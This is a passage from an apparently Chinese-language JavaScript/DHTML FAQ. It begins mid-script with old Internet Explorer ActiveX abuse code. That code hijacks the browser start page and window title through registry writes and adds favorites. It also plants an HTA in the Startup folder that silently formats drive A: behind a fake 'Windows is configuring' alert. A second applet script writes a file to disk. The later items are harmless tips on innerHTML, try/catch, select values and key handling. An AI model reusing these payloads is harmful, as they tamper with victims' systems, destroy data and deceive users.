FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents .cookie.indexOf("Chg") == -1)
{
//设置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//设置Cookie完毕
//设置主页
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.51js.com/");
//修改浏览器的标题
Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", "你的Internet Explorer已经被修改过了 51JS.COM");
//设置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\Documents and Settings\" + Net.UserName + "\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
AddFavLnk(loc, "无忧脚本", "http://www.51js.com");
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();
</script>
格式化硬盘的,
把启动菜单下的automat.hta删除即可,这是格式化 a:盘
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\windows\start menu\Programs\启动\automat.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>wsh.Run('start /m format a: /q /autotest /u');alert('Note:Windows is configing the system,do not interrupt it!.');</"+"SCRIPT>";
scr.write();
</script>
<HTML>
<HEAD>
<TITLE>
建立文件
</TITLE>
</HEAD>
<BODY>
<BR>
<APPLET code="com.ms.activeX.ActiveXComponent" >
</APPLET>
<SCRIPT LANGUAGE="JAVASCRIPT">
a1=document.applets[0];
fn="51js.HTM";
doc="<SCRIPT>s1=欢迎你访问无忧脚本!\请您将在启动文件夹内的51js.com.HTM删除即可;alert(s1);document.body.innerHTML=s1</"+"SCRIPT>";
function f1()
{
a1.setProperty('DOC',doc);
}
function f()
{
// The ActiveX classid
cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";
a1.setCLSID(cl);
a1.createInstance();
setTimeout("a1.setProperty('Path','"+fn+"')",1000);
setTimeout("f1()",1500);
setTimeout("a1.invoke('write',VA);alert('"+fn+" 被建立');",2000);
}
setTimeout("f()",1000)
</SCRIPT>
<SCRIPT LANGUAGE="VBSCRIPT">
VA = ARRAY()
' 获取com.ms.com.Variant[]
</SCRIPT>
<BR>
</BODY>
</HTML>原理是一样的!
46.如何监听一个窗口被关闭了?
<body onunload="alert('你关闭了这个窗口')">
47.什么是innerHTML、outerHTML………还有innerText?
自己用代码来体会一下
<div id=test><table><tr><td>文本<a>链接</a>另一段文本</td></tr></table></div>
<input type=button onclick=alert(test.innerText) value="show innerText"><br>
<input type=button onclick=alert(test.innerHTML) value="show innerHTML"><br>
<input type=button onclick=alert(test.outerHTML) value="show outerHTML"><br>
48.关于try....catch..的语法捕捉错误使用例子
try{
可能会引起错误的语句
}
catch(表达式)
{
错误处理语句
}
例如:
<button onclick=TryDemo()>Try...Catch...Demo</button>
<script>
function TryDemo()
{
try{
var a=b/2;//注意由于b不存在,所以会引发一个异常。
}
catch(e)
{
alert('错误类型:'+e+'错误信息:'+e.Descrition);
}
}
</script>
49.如何获得一个Select中选中option的value?
select.options[select.selectedIndex].value
50.this 和self 有什么区别,各在哪里用
self指代窗口。 this的情况: 1. 用于元素事件代码中指代元素本身: <button onclick=alert(this.value)>指代元素本身</button> 2. 用于function中指代用function构造的类。
<script>
function Car(){this.name='Car';};alert(new Car().name);
</script>
51.如何禁止Ctrl+N?
<body onkeydown=return(!(event.keyCode==78&&event.ctrlKey))>
52.所有dhtml对象的属性和方法其实在你本机的硬盘上就有!
查找:dhtmled.ocx
或在delphi/c++builder中import activeX 选dhtmled.ocx